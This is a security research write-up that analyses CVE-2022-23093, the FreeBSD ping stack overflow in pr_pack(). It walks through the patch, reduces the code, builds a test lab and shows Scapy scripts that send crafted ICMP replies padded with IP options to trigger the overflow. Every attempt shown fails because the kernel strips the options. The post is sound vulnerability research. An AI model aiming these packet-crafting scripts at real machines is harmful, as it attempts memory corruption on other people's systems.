logo-unlock-security

Analysis of CVE-2022-23093 (FreeBSD Ping Stack Overflow)

Analysis of CVE-2022-23093 (FreeBSD Ping Stack Overflow)

When it comes to cybersecurity, you may sometimes wake up in the morning and be surrounded by yelling managers and journalists that announce the end of the digital world as we know it. Such scaremongering is usually caused by a vulnerability that has recently been discovered — though having existed for more than 20 years. The vulnerability may affect so many devices and create such panic that, in the worst-case scenario, the story could end up on the news and spread among the laymen. Well, this summarizes quite clearly what happened in November-December 2022 with CVE-2022-23093 — a stack-based buffer overflow vulnerability that was found in the ping utility of FreeBSD.

For some reason, this vulnerability has sparked the interest of the community, leading to engaging discussions on the Telegram channel "Pentesting Made Simple" and on Rocco Sicilia's Twitch channel. Unfortunately, there are no articles online that explain this vulnerability thoroughly. So, we decided to take care of it ourselves.

In this article, we will analyze the vulnerability and, step by step, we will try to demonstrate whether it can be exploited and how.

CVE-2022-23093

In November 2022, FreeBSD disclosed a Security Advisory that described a new vulnerability in the ping utility, registered as CVE-2022-23093:


ping reads raw IP packets from the network to process responses in the
pr_pack() function.  As part of processing a response ping has to
reconstruct the IP header, the ICMP header and if present a "quoted
packet," which represents the packet that generated an ICMP error.  The
quoted packet again has an IP header and an ICMP header.

The pr_pack() copies received IP and ICMP headers into stack buffers
for further processing.  In so doing, it fails to take into account the
possible presence of IP option headers following the IP header in
either the response or the quoted packet.  When IP options are present,
pr_pack() overflows the destination buffer by up to 40 bytes.

The description is quite detailed and provides clear information about the following:

  • Nature of the issue. Stack-based buffer overflow up to 40 bytes
  • Vulnerable function. pr_pack()
  • Involved operation. IP header copy
  • Necessary condition. Presence of IP Options in the IP header

With these details on hand, we can investigate the changes introduced with the Patch, focusing just on those that match the description:


--- sbin/ping/ping.c.orig
+++ sbin/ping/ping.c
@@ -1144,8 +1147,10 @@
 	struct icmp icp;
 	struct ip ip;
 	const u_char *icmp_data_raw;
+	ssize_t icmp_data_raw_len;
 	double triptime;
-	int dupflag, hlen, i, j, recv_len;
+	int dupflag, i, j, recv_len;
+	uint8_t hlen;
 	uint16_t seq;
 	static int old_rrlen;
 	static char old_rr[MAX_IPOPTLEN];
@@ -1155,15 +1160,27 @@
 	const u_char *oicmp_raw;
 
 	/*
-	 * Get size of IP header of the received packet. The
-	 * information is contained in the lower four bits of the
-	 * first byte.
+	 * Get size of IP header of the received packet.
+	 * The header length is contained in the lower four bits of the first
+	 * byte and represents the number of 4 byte octets the header takes up.
+	 *
+	 * The IHL minimum value is 5 (20 bytes) and its maximum value is 15
+	 * (60 bytes).
 	 */
 	memcpy(&l, buf, sizeof(l));
 	hlen = (l & 0x0f) << 2;
-	memcpy(&ip, buf, hlen);
 
-	/* Check the IP header */
+	/* Reject IP packets with a short header */
+	if (hlen < sizeof(struct ip)) {
+		if (options & F_VERBOSE)
+			warn("IHL too short (%d bytes) from %s", hlen,
+			     inet_ntoa(from->sin_addr));
+		return;
+	}
+
+	memcpy(&ip, buf, sizeof(struct ip));
+
+	/* Check packet has enough data to carry a valid ICMP header */
 	recv_len = cc;
 	if (cc < hlen + ICMP_MINLEN) {
 		if (options & F_VERBOSE)

Among all the lines, these seem to be the ones that perfectly match the description:


struct ip ip;

// […]

/*
 * Get size of IP header of the received packet. The
 * information is contained in the lower four bits of the
 * first byte.
 */
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);

In these lines, we see the definition of the ip variable, designed to contain the IP header. From the notes, we acknowledge that buf contains the IP packet, whose 4 lower bits of the first byte represent the size of the IP header and allow a size stretching from 20 bytes (0x05 << 2 = 5 * 2², i.e. the minimum size of an IP header) up to 60 bytes (0x0f << 2 = 15 * 2²). Being part of the packet, these 4 bits can be controlled by the attacker. Once calculated the size of the IP header in hlen, it is used to establish the amount of data that should be copied from buf into ip. It is clear, then, that if ip weren’t sufficiently large to cache the data amount specified by hlen, the result would be a stack-based buffer overflow.

At this point, we have a rough idea of how the vulnerability works when we access the pr_pack() function. However, what are the conditions that must be met in order to invoke it?

To understand this, we must analyze the code of ping starting from the main().

Analyzing the code

Regardless of the complexity of the program that we are analyzing, it is important to look into its source code to gain a deep understanding of its data and control flows. In other words, we must define the data that we are controlling, and how they are manipulated before reaching the vulnerable code, or how the data manipulate the control flow. Accessing an if or not can make a huge difference in the exploitation phase.

At this point, we can hear some of you say things like "I don’t master C well enough to understand the whole code" or "Should I read hundreds or thousands of lines of code? What if I just run the program and see what happens?".

The point is that it is not necessary to read or understand the whole code to see how it works and how to exploit a vulnerability. The key word is simplifying.

Simplifying

First, we must understand what we are dealing with. Being quite simple, the ping utility does not perform many actions. So, we can expect a code with neither too many files, nor too many lines of code. Let’s check it, in any case.

We can check the source code by downloading it straight from the SVN repository. We will take the release 12.2 as a reference, being it the last one not implementing the security patch. In this way, we will get the vulnerable code without having to edit the code ourselves.

svn checkout https://svn.freebsd.org/base/releng/12.2/sbin/ping/ ./ping
A    ping/tests
A    ping/ping.c
A    ping/Makefile.depend
A    ping/Makefile.depend.options
A    ping/Makefile
A    ping/ping.8
A    ping/tests/Makefile
A    ping/tests/ping_c1_s56_t1.out
A    ping/tests/ping_test.sh
A    ping/tests/in_cksum_test.c
A    ping/utils.c
A    ping/utils.h
Checked out revision 373048.

First, we are removing the test files (tests/*), the manual pages (ping.8) and the makefiles (Makefile*). As we expected, we are now left with three files only, amounting to ~1,500 SLOC (Source Line Of Code): utils.h, utils.c, ping.c.

$ sloc utils.{c,h} ping.c
  Language  Files  Code  Comment  Blank  Total
     Total      3  1515      296    186   1916
         C      3  1515      296    186   1916

The utils.h file only defines the prototype of the in_cksum() function:

#ifndef UTILS_H
#define UTILS_H 1

#include <sys/types.h>

u_short in_cksum(u_char *, int);

#endif

From its name, we deduce that this function is designed to calculate the checksum. So, we can ignore both the utils.h file and the utils.c file (containing its implementation). Both are not relevant to the purpose of this analysis.

At this point, we can exclusively focus on the ping.c file, which implements the whole logic of the ping command. These are the functions that it defines:

static void fill(char *, char *);
static cap_channel_t *capdns_setup(void);
static void check_status(void);
static void finish(void) __dead2;
static void pinger(void);
static char *pr_addr(struct in_addr);
static char *pr_ntime(n_time);
static void pr_icmph(struct icmp *, struct ip *, const u_char *const);
static void pr_iph(struct ip *);
static void pr_pack(char *, ssize_t, struct sockaddr_in *, struct timespec *);
static void pr_retip(struct ip *, const u_char *);
static void status(int);
static void stopit(int);
static void usage(void) __dead2;

int main(int argc, char *const *argv);    

From the description of the vulnerability, we know that the pr_pack() function processes received packets. We then suppose that all the functions starting with pr_ are meant to process a specific portion of the packet and that the pr_pack() function acts as the dispatcher, sending the various packet bytes to the related functions. This means that we will probably be able to reach the vulnerable code without passing through these functions.

In a similar way, we can suppose that:

  • capdns_setup() is designed to set up the capabilities for DNS-related operations.
  • check_status() and status() are designed to check and print any information related to the execution status, whereas stopit() and finish() are probably used to interrupt the execution once the status has met its termination condition.
  • usage() is used to print the program usage menu.

After this simple procedure, we are left with the functions that we know to be useful (main() and pr_pack()), and with those that have too generic names to determine whether they can be of use or not (fill()). Also, we are left with functions on which we could make some hypotheses, but that we had better analyze, because they are likely to play a role in the control flow (pinger()):

static void fill(char *, char *);
static void pinger(void);
static void pr_pack(char *, ssize_t, struct sockaddr_in *, struct timespec *);
int main(int argc, char *const *argv);    

We can now make a copy of the ping.c file and open it with an advanced editor such as VSCode. This way, we will acknowledge what is useful and what is not.

Let’s go ahead... backwards

At this point, the best thing we can do is starting from the end and moving backwards to the beginning. In this specific case, we are moving from the pr_pack() fuction to the main(). This method ensures that we are reaching the vulnerable code by analyzing what is worth, and nothing more.

First, we scroll down to reach the pr_pack() function and, for now, we erase all the content underneath the vulnerable code, and all that is found above it and does not affect the data or the control flows. This means that the whole pr_pack() function is now resized from ~300 lines of code to this:

static void
pr_pack(char *buf, ssize_t cc, struct sockaddr_in *from, struct timespec *tv)
{
	u_char l;
	struct ip ip;
	int hlen;

	memcpy(&l, buf, sizeof(l));
	hlen = (l & 0x0f) << 2;
	memcpy(&ip, buf, hlen);
}

So, ito reach the vulnerable code, it is now sufficient to invoke the pr_pack() function, without worrying about other conditions, data edits or other issues that would make the analysis and the exploit far more complex.

The next step is finding all the parts in the code that invoke the pr_pack() function. To do so, you can just search for the name of the function. Otherwise, you can hold CTRL and click on the name of the function to make VSCode highlight all the occurrences.

In this case, the function is invoked just once in the main() function, at the line no. 958. This means that we will have to analyze just ~700 lines of code, hence half of the original total amount.

int
main(int argc, char *const *argv)
{
   pr_pack((char *)packet, cc, &from, tv);

At this point, we must consider that when using ping, we will launch the ping -c 1 <target ip> command to limit the number of ICMP echo-request packets sent to 1. This information is essential, since we will now get back to the beginning of the main() function and erase all that is not strictly related to invoking the pr_pack()function. This means erasing all the code that is used when launching the command with other flags (excluding -c 1), the error handling (we assume that we will encounter no errors) and all the variables that we cannot control or that are not used when invoking the vulnerable function.

This is the result that we propose:

int
main(int argc, char *const *argv)
{
	struct sockaddr_in from, sock_in;
	struct timespec last, intvl;
	struct iovec iov;
	struct msghdr msg;
	char *ep, *source, *target, *payload;
	struct sockaddr_in *to;
	u_long alarmtimeout;
	long ltmp;
	int almost_done, ch, df, hold, i, icmp_len, mib[4], preload;
	int ssend_errno, srecv_errno, tos, ttl;
	char ctrl[CMSG_SPACE(sizeof(struct timespec))];

	payload = source = NULL;

	cap_rights_t rights;
	bool cansandbox;

	options |= F_NUMERIC;

	ssend = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	srecv = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

	alarmtimeout = df = preload = tos = 0;

	outpack = outpackhdr + sizeof(struct ip);
	while ((ch = getopt(argc, argv, "Aac:DdfG:g:h:I:i:Ll:M:m:nop:QqRrS:s:T:t:vW:z:")) != -1)
	{
		switch(ch) {
		case 'c':
			ltmp = strtol(optarg, &ep, 0);
			npackets = ltmp;
			break;
		}
	}

	target = argv[optind];

	icmp_len = sizeof(struct ip) + ICMP_MINLEN + phdr_len;

	send_len = icmp_len + datalen;
	datap = &outpack[ICMP_MINLEN + phdr_len + TIMEVAL_LEN];
	
	bzero(&whereto, sizeof(whereto));
	to = &whereto;
	to->sin_family = AF_INET;
	to->sin_len = sizeof *to;
	if (inet_aton(target, &to->sin_addr) != 0) {
		hostname = target;
	}

	/* From now on we will use only reverse DNS lookups. */
	if (connect(ssend, (struct sockaddr *)&whereto, sizeof(whereto)) != 0)
		err(1, "connect");

	if (!(options & F_PINGFILLED))
		for (i = TIMEVAL_LEN; i < datalen; ++i)
			*datap++ = i;

	ident = getpid() & 0xFFFF;

	hold = 1;

	if (options & F_NUMERIC)
		cansandbox = true;

	hold = IP_MAXPACKET + 128;
	(void)setsockopt(srecv, SOL_SOCKET, SO_RCVBUF, (char *)&hold, sizeof(hold));

	if (uid == 0)
		(void)setsockopt(ssend, SOL_SOCKET, SO_SNDBUF, (char *)&hold, sizeof(hold));

	if (to->sin_family == AF_INET) {
		(void)printf("PING %s (%s)", hostname, inet_ntoa(to->sin_addr));
		(void)printf(": %d data bytes\n", datalen);

	}

	bzero(&msg, sizeof(msg));
	msg.msg_name = (caddr_t)&from;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
#ifdef SO_TIMESTAMP
	msg.msg_control = (caddr_t)ctrl;
	msg.msg_controllen = sizeof(ctrl);
#endif
	iov.iov_base = packet;
	iov.iov_len = IP_MAXPACKET;

	if (preload == 0)
		pinger();		/* send the first ping */

	(void)clock_gettime(CLOCK_MONOTONIC, &last);

	intvl.tv_sec = interval / 1000;
	intvl.tv_nsec = interval % 1000 * 1000000;

	almost_done = 0;
	while (!finish_up) {
		struct timespec now, timeout;
		fd_set rfds;
		int n;
		ssize_t cc;

		FD_ZERO(&rfds);
		FD_SET(srecv, &rfds);

		(void)clock_gettime(CLOCK_MONOTONIC, &now);
		timespecadd(&last, &intvl, &timeout);
		timespecsub(&timeout, &now, &timeout);
		if (timeout.tv_sec < 0)
			timespecclear(&timeout);
		
		n = pselect(srecv + 1, &rfds, NULL, NULL, &timeout, NULL);

		if (n == 1) {
			struct timespec *tv = NULL;

			msg.msg_namelen = sizeof(from);
			cc = recvmsg(srecv, &msg, 0);

			if (tv == NULL) {
				(void)clock_gettime(CLOCK_MONOTONIC, &now);
				tv = &now;
			}

			pr_pack((char *)packet, cc, &from, tv);
			
		}
	}
}

Totally, we now have 100 lines of code out of the more than 1,500 we started from!

How do we reach the vulnerable function?

At this point, we should have an overall idea of the command workflow. Wanting to make it even simpler, we can sum it up as follows:

  1. Declaring and initializing some variables
  2. Creating two socket raws, one for sending the ICMP packets, one for receiving them
  3. Parsing command-line arguments and initializing their respective variables
  4. Initializing the necessary data to send an ICMP echo-request packet to the specified target
  5. Preparing the sockets to receive and send the data. Sending the first ICMP echo-request packet (pinger() function)
  6. Receiving the ICMP reply packet (e.g. echo-reply, host unreachable, etc.)
  7. Calculating the response time
  8. Analyzing the reply and displaying the results with the pr_pack function pr_pack()

We now know that, in order to exploit CVE-2022-23093, we must:

  1. Launch the ping command from the victim machine to the attacking one
  2. Intercept the ICMP echo-request packet from the attacking machine and reply with a random ICMP reply packet containing some IP Options (as suggested in the description of the vulnerability)

Now we can proceed with the environment setup to debug the code and try to create a working exploit.

Setting up the test environment

If you are thinking that "FreeBSD is Posix-compliant, so I can download ping on Linux and cozily test it all locally", the answer is no. Unfortunately, being Posix-compliant only means that it implements some standard APIs that simplify the porting from another unix-compliant system to the Posix standard. FreeBSD supports Linux applications (with some restrictions), but not the other way round. In the upcoming steps, therefore, we will set up a test environment in the simplest possible way.

Creating a FreeBSD VM

FreeBSD Boot Menu

The last release of FreeBSD that does not implement the patch is 12.2, so we can download that version to obtain the vulnerable ping binary. However, being the vulnerability in the ping utility and not related to the OS version, we could also download another version and recompile the vulnerable version of ping in it (we will have to do it anyway, regardless of the version we are relying on). For this reason, and considering that an outdated versions could meet issues during the installation due to the lack of updated repositories, we decided to use the release 12.4 for our analysis, being the last 12.x release still supported.

The ISOs can be downloaded directly from the FreeBSD official website, in the Download section. For each version, the ISOs are available in different formats (and sizes). To install just what is strictly necessary, we decided to download the bootonly release, being the smallest version in terms of size.

For your easier reference, find below the commands to download and extract the 12.4 bootonly release:

wget https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/12.4/FreeBSD-12.4-RELEASE-amd64-bootonly.iso.xz
xz -d FreeBSD-12.4-RELEASE-amd64-bootonly.iso.xz

Now that we have the ISO, we can use our favorite virtualization software to create a VM to install the OS on.

Follow the guided installation process and select the default settings. Just make sure that:

  • When prompted, you select the base debug and deselect all the others
  • When prompted, you enable SSH for remote access
  • At the end of the installation, you give remote access to the root user as well, by adding PermitRootLogin yes in the /etc/ssh/sshd_config file (you can use the pre-installed vi editor)
FreeBSD Installation: distribution select
FreeBSD Installation: distribution select

During the installation, you will be asked if you wish to add other accounts besides the root one. For this analysis, we will use the root user only, so it is not necessary.

Downloading the ping source code

We can download the ping source code straight from SVN, from the OS code. We could download the code for the release 12.4 (matching the OS), but then we should look for the commit that solves the vulnerability and get back to the previous commit. To make things easier, we will download the ping version related to FreeBSD 12.2, which is vulnerable to the latest release too.

svnlite checkout https://svn.freebsd.org/base/releng/12.2/ /usr/src/

Now, you may be wondering why we are not downloading the ping source code only instead of the whole ~15GB codebase (and that is why we required a VM with at least 20GB of disk space). The reason is that the ping makefile embeds another makefile that, in turn, embeds 2 more makefiles, and so on. Of course, we could rebuild the whole dependency chain and download just what is necessary, but we preferred to save time rather than space.

Now that the source code has been downloaded, we can recompile and reinstall the ping vulnerable release:

cd /usr/src/sbin/ping/
make
make install

Debugging the code

For some strange reason, pkg (i.e. the FreeBSD package manager) was not installed by default. So, we must install it first thing. To do so, we just have to try to launch it:

pkg
The package management tool is not yet installed on your system.
Do you want to fetch and install it now? [y/N]: y
Bootstrapping pkg from pkg+http://pkg.FreeBSD.org/FreeBSD:12:amd64/quarterly, please wait...
Verifying signature with trusted certificate pkg.freebsd.org.2013102301... done
Installing pkg-1.19.1_1...
Extracting pkg-1.19.1_1: 100%
pkg: not enough arguments
Usage: pkg [-v] [-d] [-l] [-N] [-j <jail name or id>|-c <chroot path>|-r <rootdir>] [-C <configuration file>] [-R <repo config dir>] [-o var=value] [-4|-6] <command> [<args>]

For more information on available commands and options see 'pkg help'.

Now we need the necessary tools to debug the ping binary. GDB could do the trick, but it is not the most user-friendly program ever, for sure. To simplify its usage, you could install some scripts like GDB dashboard or GEF. Both are valid choices. Nevertheless, GDB dashboard is designed to the sole purpose of simplifying the usage of GDB, whereas GEF also implements some shortcuts that happen to be very useful when it comes to exploiting/reverse engineering (e.g. the hexdump and checksec commands).

For this reason, we chose GEF. Yet we also list the commands to install GDB dashboard, here below:

# mandatory
pkg install gdb

# To use GDB dashboard (optional)
pkg install py39-pip
pip install pygments
pkg install wget
wget -P ~ https://git.io/.gdbinit

# To use GEF (optional)
pkg install wget
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit
ln -s /usr/local/bin/python3.9 /usr/local/bin/python3

Wireshark

We are going to use Wireshark to better look into the packets that are sent and received by the system.

Now, many of you will consider installing an X11 graphical server to run the Wireshark interface directly from FreeBSD. Others may opt for X-Forwarding via SSH. Both are viable solutions, but we propose to use a feature that is already provided with Wireshark, SSH remote capture (sshdump). Looking into this feature from its documentation, it is equivalent to running commands like:

ssh remoteuser@remotehost -p 22222 'tcpdump -U -i IFACE -w -' > FILE &
wireshark FILE

To exploit this feature, you can use the Wireshark GUI by configuring the hostname, the username, the password, the listening interface on the remote host, etc.

Wireshark SSH remote capture - sshdump

As the capture filter, you can simply use icmp.

Wireshark SSH remote capture - sshdump

ICMP and Scapy

To define a PoC for CVE-2022-23093, we need to intercept the ICMP echo-request packets sent from the victim machine via ping and reply with some ad hoc created packets. To do so, the Scapy python library is indeed the best option in terms of user-friendliness and flexibility.

We will now install Scapy as the root and start it in REPL mode (Read Evaluate Print Loop):

pip install scapy
scapy -H
Welcome to Scapy (2.5.0)
>>>

Receiving ICMP packets

First, let’s try to intercept and print 2 ICMP packets (request and reply):

>>> sniff(filter="icmp", prn=lambda x: x.show(), count=2)

We soon have a problem, as we don't receive any packet. Reading through the official documentation, we acknowledge that Scapy automatically listens on the eth0 interface. But we are using VMWare, which relies on a vmnetN interface (where N stands for a number).

>>> sniff(filter="icmp", prn=lambda x: x.show(), count=2, iface="vmnet8")

In this way, we immediately receive the packet, and we can see on screen all the details of the ICMP echo-request, and the corresponding reply:

###[ Ethernet ]### 
  dst       = ██:██:██:██:██:██
  src       = ██:██:██:██:██:██
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 49344
     flags     = 
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x7b27
     src       = 172.16.115.159
     dst       = 172.16.115.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0xab87
        id        = 0x511
        seq       = 0x0
        unused    = ''
###[ Raw ]### 
        load      = '\x00\x00ǂ7']\\xba\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&'()*+,-./01234567'
###[ Ethernet ]### 
  dst       = ██:██:██:██:██:██
  src       = ██:██:██:██:██:██
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 51476
     flags     = 
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x72d3
     src       = 172.16.115.1
     dst       = 172.16.115.159
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0xb387
        id        = 0x511
        seq       = 0x0
        unused    = ''
###[ Raw ]### 
        load      = '\x00\x00ǂ7']\\xba\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&'()*+,-./01234567'

Since our aim is receiving the echo-request packets only, we filter all the other traffic:

>>> sniff(filter="icmp and icmp[icmptype] == icmp-echo", prn=lambda x: x.show(), count=2, iface="vmnet8")

Sending ICMP echo-reply packets

At this point, we close the REPL console and open a text editor such as VSCode. We must create a python script implementing a function that builds and sends valid reply packets upon the receipt of ICMP echo-request packets.

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    
    eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
    ip = IP(src=packet["IP"].dst, dst=packet["IP"].src)
    icmp = ICMP(type=0, id=packet['ICMP'].id, seq=packet['ICMP'].seq)

    # https://stackoverflow.com/a/70779477/3549503
    #
    # Turns out when Linux is responsible for ICMP, it includes a nice little data payload,
    # without adding this payload to the reply, Linux must think that there was an error
    # or malformation of packet.
    #data = Raw(load=packet["Raw"].load)
    
    #icmp_reply = eth/ip/icmp/data
    icmp_reply = eth/ip/icmp/(b"A"*40)
    sendp(icmp_reply, iface="vmnet8")


sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Starting the script and running a ping, Wireshark displays one ICMP echo-request packet and two ICMP echo-replies, whereas ping records only one reply.

Multiple ICMP echo-replies

This is due to the first reply being sent by the kernel and the second one by our script. Ping actually receives the first reply and discards the second one. To ensure that our script prevails, we must prevent the kernel from sending replies to ICMP requests. To this end, we can use the following command:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Executing the ping again, we now see that the only received reply is the one sent by our script.

Multiple ICMP echo-replies solved

Sending ICMP Host-Unreachable packets

In a similar way, we could edit the script to make it reply with an ICMP host-unreachable packet that includes the "quoted packet" as well, i.e. the ICMP echo-request packet that generated the error.

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    
    eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
    ip = IP(src=packet["IP"].dst, dst=packet["IP"].src)
    icmp = ICMP(type=3, code=1)  # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)

    quoted_packet = packet["IP"]/packet["ICMP"]
    icmp_reply = eth/ip/icmp/quoted_packet
    
    sendp(icmp_reply, iface="vmnet8")


sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

Starting the script and then running a ping, we receive the following output:

Scapy sends ICMP Host Unreachable with quoted packet

Understanding the overflow, the missing piece

To fully understand CVE-2022-23093, let’s take a look back at the vulnerable code at the beginning of the pr_pack() function:

/*
 * Get size of IP header of the received packet. The
 * information is contained in the lower four bits of the
 * first byte.
 */
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);

The vulnerability is due to hlen (the length of the IP header) being calculated based on the user input, so starting from the 4 lower bits of the first byte. Normally, the first byte of the IP header is always 0x45, corresponding to the character “E” in ASCII. This means:

  • IP Version 4 (0x40)
  • 0x5 being the length of the IP header in bytes, calculated as 0x5 << 2 = 5 * 2² = 20.
Wireshark: IP header is 20 bytes
GDB GEF: IP header is 20 bytes

The key to understanding this vulnerability is that if we print the size of the data structure containing the IP header, we obtain an interesting value:

p sizeof(struct ip)
$2 = 0x14

So, the total size of the ip data structure is exactly 20 bytes (0x14). Looking at the calculation of hlen, we immediately see the problem. Though the data structure is 20 bytes only in size, the maximum size allowed for the IP header is 60 bytes (0xf << 2 = 15 * 2²).

Since Scapy can be used to manipulate the packet as we wish, we could replace the packet first byte (0x45) with the value (0x4f), to make the hlen calculation return 60 as a result. And again, the structure where the data are pasted is 20 bytes only in size — so, we are getting a 40-byte overflow (as stated earlier in the official description of the vulnerability).

The IP header "Options"

The overflowing 40 bytes are copied by the bytes following the first 20 bytes of the IP header. Nevertheless, right after the IP header there is the ICMP header, that cannot be omitted or manipulated, unless wanting to get a malformed packet that would fail to reach the vulnerable function.

So, how do we get past this? With the IP header Options.

IPv4 Packet
By Michel Bakni - Postel, J. (September 1981) RFC 791, Internet Protocol, DARPA Internet Program Protocol Specification, The Internet Society, p.& 11 DOI: 10.17487/RFC0791., CC BY-SA 4.0, Link

The Options are optional fields of the IP header that are generally used for debugging. They are added right between the end of the IP header and the beginning of the ICMP header. Their format is: value + length + data (as long as any data are involved, otherwise the value will just be enough).

IP Options table

Attempt #1 — Nonexistent Options

Our aim is to use an arbitrary payload, so for our first attempt we chose to use Options with nonexistent value (0x41), a length of 40 bytes (0x28) and a sequence of 38 “A” characters (0x41). This is the resulting code:

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):

    payload = [
        IPOption(b'\x41\x28' + 38 * b'\x41'),
    ]

    eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
    # ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
    ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=payload)
    icmp = ICMP(type=3, code=1)  # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)

    quoted_packet = packet["IP"]/packet["ICMP"]
    icmp_reply = eth/ip/icmp/quoted_packet
    
    sendp(icmp_reply, iface="vmnet8")


sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

As we can see from Wireshark, the result is the one we expected. A well-formed packet, with a 60-byte long IP header (20 base IP header + 40 IP Options), and the possibility to exploit the overflow by using up to 38 bytes without limits. Unfortunately, all the Options are completely cleared once ping receives the packet, and the length of the header is recalculated.

Attempt 1: Unknown IP Options

Attempt #2 — NOP and EOOL

The first hypothesis is that non-valid Options are not allowed, though Wireshark displays them correctly. Looking into the various Options on the RFC791 (from page 15), we see that among all the acceptable Options, only EOOL (End of Options List 0x00) and NOP (No Operation, 0x01) are made of one single byte. We then choose to use them, because they are simple and they don’t require to enter the data according to a specific format.

We attempt to add 39 NOPs and 1 EOOL to our script, to reach 40 total bytes:

#!/usr/bin/env python
from scapy.all import *

def reply_ping(packet):
    
    eth = Ether(dst=packet["Ether"].src, src=packet["Ether"].dst)
    # IP Options are: 39 NOP + 1 End of Options List (EOOL)
    ip = IP(src=packet["IP"].dst, dst=packet["IP"].src, options=[IPOption(b'\x01'*39 + b'\x00)])
    icmp = ICMP(type=3, code=1)  # Type: 3 (Destination unreachable), Code: 1 (Host unreachable)

    quoted_packet = packet["IP"]/packet["ICMP"]
    icmp_reply = eth/ip/icmp/quoted_packet
    
    sendp(icmp_reply, iface="vmnet8")


sniff(iface="vmnet8", filter="icmp and icmp[icmptype] == icmp-echo", prn=reply_ping)

The interesting fact is that, in this case too, the packet is well-formed, and all the Options and the IP header size are correctly set to trigger the vulnerability. This is what we see from Wireshark. However, using the debugger on ping, we realize that the packet is received, but again with no IP Options and with the header length recalculated.

IP Options are present in Wireshark and missing in GDB

Looking into the execution of ping, it seems that the packet was received in this way. So, it is not the utility itself that is erasing the Options, but some external factor. Wireshark warns us that some routers may remove a sequence containing more than 4 NOPs in a row.

IP Options may have been removed

Attempt #3 — Record-Route

With this attempt, we aim to accomplish the following goals:

  • Using valid Options that will eventually reach their destination.
  • Using valid Options that will allow us to use an arbitrary payload.

We start by drafting a new list of IP Options that are not a sequence of NOP. To better understand the functioning of all the available Options, we rely on this crystal-clear educational material provided by the Latvian University ISMA.

Among all the possibly valid Options, we notice one that could do the trick: Record-Route. This Option is used to cache the list of routers that processed the packet, up to 9 IP addresses.

Record-Route Option scheme

The Pointer value is an offset integer pointing to the first available entry that can be filled with an IP address.

The packet source creates empty fields for the IP addresses. When the packet leaves the source, all the fields are empty. The pointer field has a value of 4 and points to the first empty field.

When the packet is travelling, each router that processes the packet compares the value of the pointer with the value of the Option length. If the value of the pointer is greater than the value of the length, the Option is full and no changes are made. However, if the value of the pointer is not greater than the value of the length, the router inserts its out-going IP address in the next empty field and updates the value of the pointer.

Record-Route Option concept

Adding up the numbers, using Record-Route we obtain an Option with a total length of 39 bytes (1 byte Type, 1 byte Length, 1 byte Pointer, 9 IPv4 addresses amounting to 4 bytes each). To exploit the available 40 bytes at their fullest, we could enact what we learnt from our previous attempt. So, we could:

  • Add an EOOL at the end of the sequence
  • Add a NOP before the Record-Route Option

We go for the second option, being the only one that grants us full control on the bytes of the sequence from the fifth byte on.

We can easily build the payload to be sent in the following way:

options = [
    # NOP (to avoid leading zero byte)
    IPOption(b'\x01'),
    # Record-Route
    IPOption(b'\x07\x27\x28' + payload),
]

We must pay particular attention to making a 36-byte long "payload", so that the whole Option is 40 bytes long. Also, we must make sure that the "pointer" value is sufficiently great to avoid any change to the payload on its way.

It all looks nice and neat, excluding the fact that, this time too, no payload reaches ping during its execution.

Finding the origin of the problem

It is now clear that the reason why the Options do not reach ping during its execution is not related to the validity of the Options themselves, but is to be found in a previous step, probably during the packet elaboration by the FreeBSD network stack.

Further researches demonstrate that what we have just said is correct. In particular, we can see the code of the netinet/ip_icmp.c file of the FreeBSD kernel. For easier reference, we report an extract of the icmp_input() function, that is responsible for processing the received ICMP packets:

/*
 * Process a received ICMP message.
 */
int
icmp_input(struct mbuf **mp, int *offp, int proto)
{
        // ...
        switch (icp->icmp_type) {
   
           case ICMP_UNREACH:
                switch (code) {
                        // ...
                        case ICMP_UNREACH_HOST:
                        // ...
                                code = PRC_UNREACH_NET;
                                break;

                        // ...
                }
                goto deliver;
        
        // ...

        deliver:
                // ...
                ip_stripoptions(m);
                // ...
                /*
                 * The upper layer handler can rely on:
                 * - The outer IP header has no options.
                 * ...

The name of the ip_stripoptions() function is quite explanatory. For the most curious of you, however, its implementation is explained in the netinet/ip_options.c file and it is the following one:

/*
 * Strip out IP options, at higher level protocol in the kernel.
 */
void
ip_stripoptions(struct mbuf *m)
{
        struct ip *ip = mtod(m, struct ip *);
        int olen;

        olen = (ip->ip_hl << 2) - sizeof(struct ip);
        m->m_len -= olen;
